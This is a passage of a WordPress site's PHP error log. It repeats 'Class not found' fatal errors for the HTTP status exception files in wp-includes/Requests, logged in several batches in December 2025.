  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[06-Dec-2025 18:51:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[06-Dec-2025 18:51:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[06-Dec-2025 18:51:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[06-Dec-2025 18:51:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[06-Dec-2025 18:51:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[06-Dec-2025 18:51:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[06-Dec-2025 18:51:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[06-Dec-2025 18:51:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[06-Dec-2025 18:51:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[06-Dec-2025 18:51:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[06-Dec-2025 18:51:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[06-Dec-2025 18:51:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[06-Dec-2025 18:51:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[06-Dec-2025 18:51:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[06-Dec-2025 18:51:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[06-Dec-2025 18:51:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[06-Dec-2025 18:51:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[06-Dec-2025 18:51:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[06-Dec-2025 18:51:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[06-Dec-2025 18:51:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[06-Dec-2025 18:51:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[06-Dec-2025 18:51:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[23-Dec-2025 11:29:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[23-Dec-2025 11:29:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[23-Dec-2025 11:29:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[23-Dec-2025 11:29:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[23-Dec-2025 11:29:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[23-Dec-2025 11:30:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[23-Dec-2025 11:30:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[23-Dec-2025 11:30:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[23-Dec-2025 11:30:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[23-Dec-2025 11:30:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[23-Dec-2025 11:30:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[23-Dec-2025 11:30:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[23-Dec-2025 11:30:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[23-Dec-2025 11:30:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[23-Dec-2025 11:30:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[23-Dec-2025 11:30:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[23-Dec-2025 11:30:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[23-Dec-2025 11:30:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[23-Dec-2025 11:30:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[23-Dec-2025 11:30:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[23-Dec-2025 11:30:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[23-Dec-2025 11:30:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[23-Dec-2025 11:30:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[23-Dec-2025 11:30:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[23-Dec-2025 11:30:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[23-Dec-2025 11:30:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[23-Dec-2025 11:30:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[23-Dec-2025 11:30:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[23-Dec-2025 11:30:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[23-Dec-2025 11:30:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[23-Dec-2025 11:31:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[23-Dec-2025 11:31:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[23-Dec-2025 11:31:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[23-Dec-2025 11:50:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[23-Dec-2025 11:50:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[23-Dec-2025 11:50:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[23-Dec-2025 11:50:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[23-Dec-2025 11:50:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[23-Dec-2025 11:50:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[23-Dec-2025 11:50:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[23-Dec-2025 11:50:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[23-Dec-2025 11:51:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[23-Dec-2025 11:51:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[23-Dec-2025 11:51:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[23-Dec-2025 11:51:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[23-Dec-2025 11:51:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[23-Dec-2025 11:51:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[23-Dec-2025 11:51:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[23-Dec-2025 11:51:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[23-Dec-2025 11:51:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[23-Dec-2025 11:51:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[23-Dec-2025 11:51:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[23-Dec-2025 11:51:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[23-Dec-2025 11:51:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[23-Dec-2025 11:51:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[23-Dec-2025 11:51:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[23-Dec-2025 11:51:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[23-Dec-2025 11:51:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[23-Dec-2025 11:51:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[23-Dec-2025 11:51:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[23-Dec-2025 11:51:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[23-Dec-2025 11:51:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[23-Dec-2025 11:51:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[23-Dec-2025 11:51:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[23-Dec-2025 11:51:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[23-Dec-2025 11:51:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[24-Dec-2025 14:41:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[24-Dec-2025 14:41:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
